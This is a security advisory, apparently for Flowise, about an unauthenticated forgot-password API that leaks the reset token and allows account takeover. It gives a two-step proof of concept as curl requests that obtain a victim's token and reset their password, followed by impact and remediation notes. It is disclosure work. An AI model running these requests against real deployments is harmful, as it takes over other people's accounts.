Flowise Cloud and Local Deployments have Unauthenticated Password Reset Token Disclosure that Leads to Account Takeover

This effectively allows any unauthenticated attacker to take over arbitrary accounts (including admin or privileged accounts) by requesting a reset for their email.

PoC

1. Request a reset token for the victim

curl -i -X POST https://<target>/api/v1/account/forgot-password \
  -H "Content-Type: application/json" \
  -d '{"user":{"email":"<[email protected]>"}}'

Response (201 Created):

{
  "user": {
    "id": "<redacted-uuid>",
    "name": "<redacted>",
    "email": "<[email protected]>",
    "credential": "<redacted-hash>",
    "tempToken": "<redacted-tempToken>",
    "tokenExpiry": "2025-08-19T13:00:33.834Z",
    "status": "active"
  }
}

2. Use the exposed tempToken to reset the password

curl -i -X POST https://<target>/api/v1/account/reset-password \
  -H "Content-Type: application/json" \
  -d '{
        "user":{
          "email":"<[email protected]>",
          "tempToken":"<redacted-tempToken>",
          "password":"NewSecurePassword123!"
        }
      }'

Expected Result: 200 OK The victim’s account password is reset, allowing full login.

Impact

• Type: Authentication bypass / Insecure direct object exposure.

• Impact:

  • Any account (including administrator or high-value accounts) can be reset and taken over with only the email address.
  • Applies to both Flowise Cloud and locally hosted/self-managed deployments.
  • Leads to full account takeover, data exposure, impersonation, and possible control over organizational assets.
  • High likelihood of exploitation since no prior access or user interaction is required.

Recommended Remediation

• Do not return reset tokens or sensitive account details in API responses. Tokens must only be delivered securely via the registered email channel.
• Ensure forgot-password responds with a generic success message regardless of input, to avoid user enumeration.
• Require strong validation of the tempToken (e.g., single-use, short expiry, tied to request origin, validated against email delivery).
• Apply the same fixes to both cloud and self-hosted/local deployments.
• Log and monitor password reset requests for suspicious activity.
• Consider multi-factor verification for sensitive accounts.

Credit

⚠️ This is a Critical ATO vulnerability because it allows attackers to compromise any account with only knowledge of an email address, and it applies to all deployment models (cloud and local).